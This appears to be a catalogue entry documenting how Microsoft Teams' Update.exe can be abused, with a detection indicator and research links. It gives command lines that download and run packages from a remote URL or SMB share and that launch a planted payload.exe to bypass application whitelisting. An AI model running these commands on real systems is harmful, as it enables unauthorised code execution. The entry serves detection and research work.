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Name : Update.exe
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Description : Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
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Author : 'Oddvar Moe'
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Created : 2019-06-26
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Commands :
- Command : Update.exe --download [url to package]
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Description : The above binary will go to url and look for RELEASES file and download the nuget package.
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Usecase : Download binary
Category : Download
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Privileges : User
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MitreID : T1218
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MitreLink : https://attack.mitre.org/techniques/T1218/
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OperatingSystem : Windows 7 and up with Microsoft Teams installed
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- Command : Update.exe --update=[url to package]
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Description : The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase : Download and execute binary
Category : AWL Bypass
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Privileges : User
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MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
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OperatingSystem : Windows 7 and up with Microsoft Teams installed
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- Command : Update.exe --update=[url to package]
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Description : The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase : Download and execute binary
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Category : Execute
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Privileges : User
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MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
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OperatingSystem : Windows 7 and up with Microsoft Teams installed
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- Command : Update.exe --update=\\remoteserver\payloadFolder
Description : The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase : Download and execute binary
Category : AWL Bypass
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
OperatingSystem : Windows 7 and up with Microsoft Teams installed
- Command : Update.exe --update=\\remoteserver\payloadFolder
Description : The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase : Download and execute binary
Category : Execute
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
OperatingSystem : Windows 7 and up with Microsoft Teams installed
- Command : Update.exe --updateRollback=[url to package]
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Description : The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase : Download and execute binary
Category : AWL Bypass
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
OperatingSystem : Windows 7 and up with Microsoft Teams installed
- Command : Update.exe --updateRollback=[url to package]
Description : The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase : Download and execute binary
Category : Execute
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
OperatingSystem : Windows 7 and up with Microsoft Teams installed
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- Command : Update.exe --processStart payload.exe --process-start-args "whatever args"
Description : Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase : Application Whitelisting Bypass
Category : AWL Bypass
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem : Windows 7 and up with Microsoft Teams installed
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- Command : Update.exe --updateRollback=\\remoteserver\payloadFolder
Description : The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase : Download and execute binary
Category : AWL Bypass
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
OperatingSystem : Windows 7 and up with Microsoft Teams installed
- Command : Update.exe --updateRollback=\\remoteserver\payloadFolder
Description : The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase : Download and execute binary
Category : Execute
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/techniques/T1218/
OperatingSystem : Windows 7 and up with Microsoft Teams installed
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- Command : Update.exe --processStart payload.exe --process-start-args "whatever args"
Description : Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase : Execute binary
Category : Execute
Privileges : User
MitreID : T1218
MitreLink : https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem : Windows 7 and up with Microsoft Teams installed
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Full_Path :
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- Path : '%localappdata%\Microsoft\Teams\update.exe'
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Code_Sample :
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- Code : https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
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Detection :
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- IOC : Update.exe spawned an unknown process
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Resources :
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- Link : https://www.youtube.com/watch?v=rOP3hnkj7ls
- Link : https://twitter.com/reegun21/status/1144182772623269889
- Link : https://twitter.com/MrUn1k0d3r/status/1143928885211537408
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- Link : https://twitter.com/reegun21/status/1291005287034281990
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- Link : http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
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- Link : https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
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- Link : https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
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- Link : https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
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Acknowledgement :
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- Person : Reegun Richard Jayapaul (SpiderLabs, Trustwave)
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Handle : '@reegun21'
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- Person : Mr.Un1k0d3r
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Handle : '@MrUn1k0d3r'
- Person : Adam
Handle : '@Hexacorn'
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